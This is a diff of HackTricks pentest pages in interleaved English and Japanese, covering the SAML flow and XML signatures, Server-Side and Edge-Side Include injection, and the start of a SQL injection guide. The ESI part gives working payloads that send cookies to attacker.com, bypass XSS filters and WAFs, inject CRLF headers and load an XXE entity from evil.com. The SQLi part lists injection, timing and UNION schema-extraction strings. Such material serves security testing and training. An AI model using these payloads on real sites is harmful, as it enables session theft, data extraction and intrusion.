- **SAML** is tailored towards providing enterprises with greater control over SSO login security.
- **OAuth** is designed to be more mobile-friendly, uses JSON, and is a collaborative effort from companies like Google and Twitter.
- **SAML** は、企業に SSO ログインセキュリティに対するより大きな制御を提供するように設計されています。
- **OAuth** は、よりモバイルフレンドリーで、JSON を使用し、Google や Twitter などの企業の共同作業によるものです。
# SAML Authentication Flow
# SAML 認証フロー
**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary:
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) の完全な投稿を確認してください**。これは要約です:
The SAML authentication process involves several steps, as illustrated in the schema:
SAML 認証プロセスは、スキーマに示されているように、いくつかのステップを含みます:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **Resource Access Attempt**: The user tries to access a protected resource.
2. **SAML Request Generation**: The SP does not recognize the user and generates a SAML Request.
3. **Redirect to IdP**: The user is redirected to the IdP, with the SAML Request passing through the user's browser.
4. **IdP Receives Request**: The IdP receives the SAML Request.
5. **Authentication at IdP**: The IdP authenticates the user.
6. **User Validation**: The IdP validates the user's legitimacy to access the requested resource.
7. **SAML Response Creation**: The IdP generates a SAML Response containing necessary assertions.
8. **Redirect to SP's ACS URL**: The user is redirected to the SP's Assertion Consumer Service (ACS) URL.
9. **SAML Response Validation**: The ACS validates the SAML Response.
10. **Resource Access Granted**: Access to the initially requested resource is granted.
1. **リソースアクセス試行**: ユーザーが保護されたリソースにアクセスしようとします。
2. **SAML リクエスト生成**: SP はユーザーを認識せず、SAML リクエストを生成します。
3. **IdP へのリダイレクト**: ユーザーは IdP にリダイレクトされ、SAML リクエストがユーザーのブラウザを通過します。
4. **IdP がリクエストを受信**: IdP は SAML リクエストを受信します。
5. **IdP での認証**: IdP はユーザーを認証します。
6. **ユーザーの検証**: IdP は要求されたリソースにアクセスするユーザーの正当性を検証します。
7. **SAML レスポンス作成**: IdP は必要なアサーションを含む SAML レスポンスを生成します。
8. **SP の ACS URL へのリダイレクト**: ユーザーは SP のアサーションコンシューマサービス (ACS) URL にリダイレクトされます。
9. **SAML レスポンスの検証**: ACS は SAML レスポンスを検証します。
10. **リソースアクセスの許可**: 最初に要求されたリソースへのアクセスが許可されます。
# SAML Request Example
Consider the scenario where a user requests access to a secure resource at [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). The SP identifies the lack of authentication and generates a SAML Request:
# SAML リクエストの例
ユーザーが [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) で安全なリソースへのアクセスを要求するシナリオを考えてみましょう。SP は認証の欠如を認識し、SAML リクエストを生成します:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
...
```
The raw SAML Request looks like this:
生のSAMLリクエストは次のようになります:
```xml
<?xml version="1.0"?>
<samlp:AuthnRequest ...
</samlp:AuthnRequest>
```
このリクエストの主要な要素は次のとおりです:
Key elements of this request include:
- **AssertionConsumerServiceURL**: IdPが認証後にSAMLレスポンスを送信すべき場所を指定します。
- **Destination**: リクエストが送信されるIdPのアドレス。
- **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。
- **saml:Issuer**: リクエストを開始したエンティティを識別します。
- **AssertionConsumerServiceURL**: Specifies where the IdP should send the SAML Response post-authentication.
- **Destination**: The IdP's address to which the request is sent.
- **ProtocolBinding**: Defines the transmission method of SAML protocol messages.
- **saml:Issuer**: Identifies the entity that initiated the request.
SAMLリクエストの生成に続いて、SPは**302リダイレクト**で応答し、ブラウザをSAMLリクエストがHTTPレスポンスの**Location**ヘッダーにエンコードされているIdPに向けます。**RelayState**パラメータはトランザクション全体で状態情報を保持し、SPがSAMLレスポンスを受け取った際に初期リソースリクエストを認識できるようにします。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンで、Deflate圧縮とbase64エンコーディングを利用しています。
Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.
# SAMLレスポンスの例
# SAML Response Example
[こちらに完全なSAMLレスポンスがあります](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです:
You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と真正性を保証します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
- **saml:Assertion**: この部分はユーザーのアイデンティティに関する情報や他の属性を保持します。
- **saml:Subject**: アサーション内のすべてのステートメントの主要な主体を指定します。
- **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。
- **saml:Conditions**: アサーションの有効性のタイミングや指定されたサービスプロバイダーなどの条件を詳細に説明します。
- **saml:AuthnStatement**: IdPがアサーションの主体を認証したことを確認します。
- **saml:AttributeStatement**: アサーションの主体を説明する属性を含みます。
- **ds:Signature**: This section, an XML Signature, ensures the integrity and authenticity of the issuer of the assertion. The SAML response in the example contains two `ds:Signature` elements, one for the message and the other for the assertion.
- **saml:Assertion**: This part holds information about the user's identity and possibly other attributes.
- **saml:Subject**: It specifies the principal subject of all the statements in the assertion.
- **saml:StatusCode**: Represents the status of the operation in response to the corresponding request.
- **saml:Conditions**: Details conditions like the validity timing of the Assertion and the specified Service Provider.
- **saml:AuthnStatement**: Confirms that the IdP authenticated the subject of the Assertion.
- **saml:AttributeStatement**: Contains attributes describing the subject of the Assertion.
SAMLレスポンスに続いて、プロセスにはIdPからの302リダイレクトが含まれます。これにより、サービスプロバイダーのアサーションコンシューマサービスACSURLへのPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
POSTリクエストが受信され、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは`/secure/`エンドポイントへの`GET`リクエストと、リソースへの成功したアクセスを示す`200 OK`レスポンスで示されます。
After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.
# XML署名
# XML Signatures
XML署名は多用途で、XMLツリー全体またはその中の特定の要素に署名できます。レスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下はXML署名の主要なタイプです
XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures:
### Basic Structure of XML Signature
An XML Signature consists of essential elements as shown:
### XML署名の基本構造
XML署名は、次のような基本要素で構成されています
```xml
<Signature>
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
...
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
...
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
</Signature>
```
`Reference` 要素は、URI 属性によって識別される特定のリソースが署名されていることを示します。
Each `Reference` element signifies a specific resource being signed, identifiable by the URI attribute.
### XML 署名の種類
### Types of XML Signatures
1. **エンベロープ署名**: このタイプの署名は、署名されるリソースの子孫であり、署名は署名されたコンテンツと同じ XML 構造内に含まれています。
1. **Enveloped Signature**: This type of signature is a descendant of the resource it signs, meaning the signature is contained within the same XML structure as the signed content.
例:
Example:
```xml
<samlp:Response ... ID="..." ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
```
```xml
<samlp:Response ... ID="..." ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
```
エンベロープ署名では、`ds:Transform` 要素が `enveloped-signature` アルゴリズムを通じてエンベロープされていることを指定します。
In an enveloped signature, the `ds:Transform` element specifies that it's enveloped through the `enveloped-signature` algorithm.
2. **エンベローピング署名**: エンベロープ署名とは対照的に、エンベローピング署名は署名されるリソースを包みます。
2. **Enveloping Signature**: Contrasting with enveloped signatures, enveloping signatures wrap the resource being signed.
例:
Example:
```xml
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
</ds:Signature>
```
```xml
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
</ds:Signature>
```
3. **デタッチ署名**: このタイプは、署名されるコンテンツとは別です。署名とコンテンツは独立して存在しますが、両者の間にはリンクが維持されます。
3. **Detached Signature**: This type is separate from the content it signs. The signature and the content exist independently, but a link between the two is maintained.
例:
Example:
```xml
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
```
```xml
<samlp:Response ... ID="..." ... >
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#...">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
```
結論として、XML 署名は XML ドキュメントを保護するための柔軟な方法を提供し、各タイプは異なる構造的およびセキュリティニーズに応えます。
In conclusion, XML Signatures provide flexible ways to secure XML documents, with each type serving different structural and security needs.
## References
## 参考文献
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,29 @@
# Server Side Inclusion/Edge Side Inclusion Injection
# サーバーサイドインクルージョン/エッジサイドインクルージョンインジェクション
{{#include ../banners/hacktricks-training.md}}
## Server Side Inclusion Basic Information
## サーバーサイドインクルージョン基本情報
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
**(紹介は** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**からのものです)**
SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
For example, you might place a directive into an existing HTML page, such as:
SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバーで評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\
例えば、既存のHTMLページに次のような指示文を配置することができます
`<!--#echo var="DATE_LOCAL" -->`
And, when the page is served, this fragment will be evaluated and replaced with its value:
そして、ページが提供されると、この断片は評価され、その値に置き換えられます:
`Tuesday, 15-Jan-2013 19:28:54 EST`
The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution.
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
You can infer the presence of SSI if the web application uses files with the extension&#x73;**`.shtml`, `.shtm` or `.stm`**, but it's not only the case.
A typical SSI expression has the following format:
ウェブアプリケーションが拡張子&#x73;**`.shtml`, `.shtm` または `.stm`**のファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。
典型的なSSI式は次の形式を持っています
```
<!--#directive param="value" -->
```
### Check
### チェック
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
@ -57,23 +54,19 @@ A typical SSI expression has the following format:
<!--#set var="name" value="Rich" -->
```
## Edge Side Inclusion
There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\
If an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users.
情報や動的アプリケーションを**キャッシュする**ことに問題があります。コンテンツの一部は、次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\
もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できれば、ユーザーに送信される前に文書に**任意のコンテンツを注入**できる可能性があります。
### ESI Detection
The following **header** in a response from the server means that the server is using ESI:
サーバーからのレスポンスにおける以下の**ヘッダー**は、サーバーがESIを使用していることを意味します
```
Surrogate-Control: content="ESI/1.0"
```
If you can't find this header, the server **might be using ESI anyways**.\
A **blind exploitation approach can also be used** as a request should arrive to the attackers server:
このヘッダーが見つからない場合、サーバーは**それでもESIを使用している可能性があります**。\
**盲目的なエクスプロイトアプローチも使用できます**。リクエストは攻撃者のサーバーに到達する必要があります:
```javascript
// Basic detection
hell<!--esi-->o
@ -94,36 +87,32 @@ hell<!--esi-->o
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### ESIの悪用
### ESI exploitation
[GoSecureが作成した](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)表は、サポートされている機能に応じて、さまざまなESI対応ソフトウェアに対して試すことができる可能性のある攻撃を理解するためのものです
[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:
- **Includes**: `<esi:includes>`ディレクティブをサポート
- **Vars**: `<esi:vars>`ディレクティブをサポート。XSSフィルターをバイパスするのに便利
- **Cookie**: ドキュメントクッキーはESIエンジンにアクセス可能
- **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
- **Host Allowlist**: この場合、ESIのインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能
- **Includes**: Supports the `<esi:includes>` directive
- **Vars**: Supports the `<esi:vars>` directive. Useful for bypassing XSS Filters
- **Cookie**: Document cookies are accessible to the ESI engine
- **Upstream Headers Required**: Surrogate applications will not process ESI statements unless the upstream application provides the headers
- **Host Allowlist**: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
| Squid3 | はい | はい | はい | はい | いいえ |
| Varnish Cache | はい | いいえ | いいえ | はい | はい |
| Fastly | はい | いいえ | いいえ | いいえ | はい |
| Akamai ESIテストサーバー (ETS) | はい | はい | はい | いいえ | いいえ |
| NodeJS esi | はい | はい | はい | いいえ | いいえ |
| NodeJS nodesi | はい | いいえ | いいえ | いいえ | オプション |
#### XSS
The following ESI directive will load an arbitrary file inside the response of the server
次のESIディレクティブは、サーバーのレスポンス内に任意のファイルをロードします
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Bypass client XSS protection
#### クライアントXSS保護のバイパス
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -131,18 +120,14 @@ Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### クッキーを盗む
#### Steal Cookie
- Remote steal cookie
- リモートクッキーを盗む
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- Steal cookie HTTP_ONLY with XSS by reflecting it in the response:
- XSSを使用してHTTP_ONLYクッキーを盗むには、それをレスポンスに反映させます:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -151,41 +136,31 @@ Use <!--esi--> to bypass WAFs:
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### プライベートローカルファイル
#### Private Local File
Do not confuse this with a "Local File Inclusion":
これを「ローカルファイルインクルージョン」と混同しないでください:
```markup
<esi:include src="secret.txt">
```
#### CRLF
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### オープンリダイレクト
#### Open Redirect
The following will add a `Location` header to the response
次の内容は、レスポンスに `Location` ヘッダーを追加します。
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### ヘッダーを追加
#### Add Header
- Add header in forced request
- 強制リクエストにヘッダーを追加
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)
- レスポンスにヘッダーを追加するXSSを使用して"Content-Type: text/json"をバイパスするのに役立ちます)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -193,55 +168,45 @@ The following will add a `Location` header to the response
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF in Add header (**CVE-2019-2438)**
#### AddヘッダーのCRLF (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamaiデバッグ
#### Akamai debug
This will send debug information included in the response:
これにより、レスポンスに含まれるデバッグ情報が送信されます:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE):
**`eXtensible Stylesheet Language Transformations (XSLT)`** の構文を ESI で使用することが可能で、単にパラメータ **`dca`** の値を **`xslt`** と指定するだけです。これにより、**XSLT** を悪用して XML 外部エンティティ脆弱性 (XXE) を作成および悪用することができるかもしれません:
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT file:
XSLTファイル:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Check the XSLT page:
XSLTページを確認してください
{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
### References
### 参考文献
- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force Detection List
## ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,20 +4,19 @@
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## What is SQL injection?
## SQLインジェクションとは
An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
**SQLインジェクション** は、攻撃者がアプリケーションのデータベースクエリに**干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを**表示**、**変更**、または**削除**することができます。このような行為は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。
## Entry point detection
When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
## エントリーポイントの検出
サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクションSQLi**に**脆弱である**と見なされます。**最初のステップ**は、**クエリを中断することなくデータを注入する**方法を理解することです。これには、現在のコンテキストから**効果的にエスケープする**方法を特定する必要があります。以下は役立ついくつかの例です:
```
[Nothing]
[Nothing]
'
"
`
@ -28,13 +27,11 @@ When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual
"))
`))
```
次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力して**、**以前のクエリが新しいデータを受け入れるようにする**か、単に**データを入力して**、**最後にコメント記号を追加する**ことができます。
Then, you need to know how to **fix the query so there isn't errors**. In order to fix the query you can **input** data so the **previous query accept the new data**, or you can just **input** your data and **add a comment symbol add the end**.
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
### **Comments**
_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_
### **コメント**
```sql
MySQL
#comment
@ -60,31 +57,27 @@ SQLite
HQL
HQL does not support comments
```
### 論理演算による確認
### Confirming with logical operations
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更されても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。
A reliable method to confirm an SQL injection vulnerability involves executing a **logical operation** and observing the expected outcomes. For instance, a GET parameter such as `?username=Peter` yielding identical content when modified to `?username=Peter' or '1'='1` indicates a SQL injection vulnerability.
Similarly, the application of **mathematical operations** serves as an effective confirmation technique. For example, if accessing `?id=1` and `?id=2-1` produce the same result, it's indicative of SQL injection.
Examples demonstrating logical operation confirmation:
同様に、**数学的演算**の適用も効果的な確認技術として機能します。例えば、`?id=1``?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。
論理演算による確認を示す例:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
This word-list was created to try to **confirm SQLinjections** in the proposed way:
この単語リストは、提案された方法で**SQLインジェクションを確認する**ために作成されました:
{% file src="../../images/sqli-logic.txt" %}
### Confirming with Timing
In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\
Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
### タイミングによる確認
場合によっては、テストしているページに**変化が見られない**ことがあります。したがって、**ブラインドSQLインジェクションを発見する**良い方法は、DBにアクションを実行させ、ページの読み込みにかかる**時間に影響を与える**ことです。\
したがって、SQLクエリに完了するのに多くの時間がかかる操作を連結します
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -106,13 +99,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
場合によっては、**スリープ関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行する**クエリを作成することができます。_これらの技術の例は、各技術ごとに別々にコメントされる予定ですもしあれば_。
In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_.
### Identifying Back-end
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
### バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**スリープ**_ **関数**や、これらの関数を使用することができます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -140,34 +131,32 @@ The best way to identify the back-end is trying to execute functions of the diff
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Also, if you have access to the output of the query, you could make it **print the version of the database**.
また、クエリの出力にアクセスできる場合は、**データベースのバージョンを表示させる**ことができます。
> [!NOTE]
> A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
> 続いて、異なる種類のSQLインジェクションを悪用するためのさまざまな方法について説明します。例としてMySQLを使用します。
### Identifying with PortSwigger
### PortSwiggerを使用した識別
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Exploiting Union Based
## ユニオンベースの悪用
### Detecting number of columns
### カラム数の検出
If you can see the output of the query this is the best way to exploit it.\
First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\
Two methods are typically used for this purpose:
クエリの出力が見える場合、これは悪用するための最良の方法です。\
まず最初に、**初期リクエスト**が返す**カラム**の**数**を特定する必要があります。これは、**両方のクエリが同じ数のカラムを返す必要があるため**です。\
この目的のために通常使用される2つの方法があります
#### Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
クエリのカラム数を特定するために、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
#-1' UNION SELECT 1,2,3--+ True
```
```sql
@ -175,25 +164,21 @@ To determine the number of columns in a query, incrementally adjust the number u
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
Select more and more null values until the query is correct:
クエリが正しくなるまで、どんどんnull値を選択します:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_クエリの両側の列の型が同じでなければならない場合があるため、`null`値を使用する必要があります。nullはすべてのケースで有効です。_
_You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
### Extract database names, table names and column names
On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
### データベース名、テーブル名、および列名の抽出
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -204,80 +189,67 @@ On the next examples we are going to retrieve the name of all the databases, the
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
